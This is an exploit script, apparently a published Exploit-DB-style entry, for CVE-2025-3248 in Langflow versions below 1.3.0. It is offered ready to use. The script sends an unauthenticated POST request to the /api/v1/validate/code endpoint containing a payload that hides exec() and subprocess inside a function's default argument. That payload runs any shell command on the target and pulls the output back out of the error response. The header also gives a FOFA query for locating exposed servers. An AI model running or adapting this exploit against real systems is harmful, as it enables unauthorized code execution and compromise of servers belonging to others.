Langflow 1.3.0 - Remote Code Execution (RCE)

# Exploit Title: Langflow 1.3.0 -  Remote Code Execution (RCE)
# Date: 2025-04-17
# Exploit Author: VeryLazyTech
# Vendor Homepage: http://www.langflow.org/
# Software Link: https://github.com/langflow-ai/langflow
# Version: Langflow < 1.3.0
# Tested on: Windows Server 2019
# CVE: CVE-2025-3248
# CVE-2025-3248 - Remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code
# FOFA "Langflow"
# Medium: https://medium.com/@verylazytech
# GitHub: https://github.com/verylazytech
# Shop: https://shop.verylazytech.com
# Website: https://www.verylazytech.com

import argparse
import requests
import json
from urllib.parse import urljoin
import random
from colorama import init, Fore, Style

# Disable SSL warnings
requests.packages.urllib3.disable_warnings()

# Initialize colorama
init(autoreset=True)

# Constants
ENDC = "\033[0m"
ENCODING = "UTF-8"
COLORS = [Fore.GREEN, Fore.CYAN, Fore.BLUE]

def banner():
    random_color = random.choice(COLORS)
    return f"""{Style.BRIGHT}{random_color}
  ______     _______   ____   ___ ____  ____    _________  _  _    ___  
 / ___\ \   / / ____| |___ \ / _ \___ \| ___|  |___ /___ \| || |  ( _ ) 
| |    \ \ / /|  _|     __) | | | |__) |___ \    |_ \ __) | || |_ / _ \ 
| |___  \ V / | |___   / __/| |_| / __/ ___) |  ___) / __/|__   _| (_) |
 \____|  \_/  |_____| |_____|\___/_____|____/  |____/_____|  |_|  \___/ 
                                                                        
                                                                             
__     __                _                      _____         _     
\ \   / /__ _ __ _   _  | |    __ _ _____   _  |_   _|__  ___| |__  
 \ \ / / _ \ '__| | | | | |   / _` |_  / | | |   | |/ _ \/ __| '_ \ 
  \ V /  __/ |  | |_| | | |__| (_| |/ /| |_| |   | |  __/ (__| | | |
   \_/ \___|_|   \__, | |_____\__,_/___|\__, |   |_|\___|\___|_| |_|
                 |___/                  |___/                       
                 
                    {Style.BRIGHT}{Fore.WHITE}@VeryLazyTech - Medium {Style.RESET_ALL}\n
{Style.RESET_ALL}
"""

print(banner())

class LangflowScanner:
    def __init__(self, url, timeout=10):
        self.url = url.rstrip('/')
        self.timeout = timeout
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0',
            'Content-Type': 'application/json',
            'Accept': 'application/json',
        })

    def exploit(self, command):
        endpoint = urljoin(self.url, '/api/v1/validate/code')
        payload = {
            "code": f"""
def run(cd=exec('raise Exception(__import__("subprocess").check_output("{command}", shell=True))')): pass
"""
        }

        try:
            print(f"{Fore.YELLOW}[*] Sending payload to {endpoint}")
            response = self.session.post(endpoint, json=payload, timeout=self.timeout)
            print(f"{Fore.YELLOW}[*] Status Code: {response.status_code}")
            print(f"{Fore.YELLOW}[*] Raw Response: {response.text}")

            if response.status_code == 200:
                try:
                    data = response.json()
                    error_msg = data.get("function", {}).get("errors", [""])[0]
                    if isinstance(error_msg, str) and error_msg.startswith("b'"):
                        output = error_msg[2:-1].encode().decode('unicode_escape').strip()
                        return output
                except Exception as e:
                    return f"[!] Failed to parse response: {str(e)}"
            return f"[!] Exploit failed with status {response.status_code}"
        except requests.RequestException as e:
            return f"[!] Request failed: {str(e)}"

def main():
    parser = argparse.ArgumentParser(description="Langflow CVE-2025-3248 Exploit")
    parser.add_argument("url", help="Target base URL (e.g., http://host:port)")
    parser.add_argument("cmd", help="Command to execute (e.g., whoami)")
    args = parser.parse_args()

    scanner = LangflowScanner(args.url)
    result = scanner.exploit(args.cmd)
    print(f"{Fore.GREEN}[+] Command Output:\n{result}")

if __name__ == "__main__":
    main()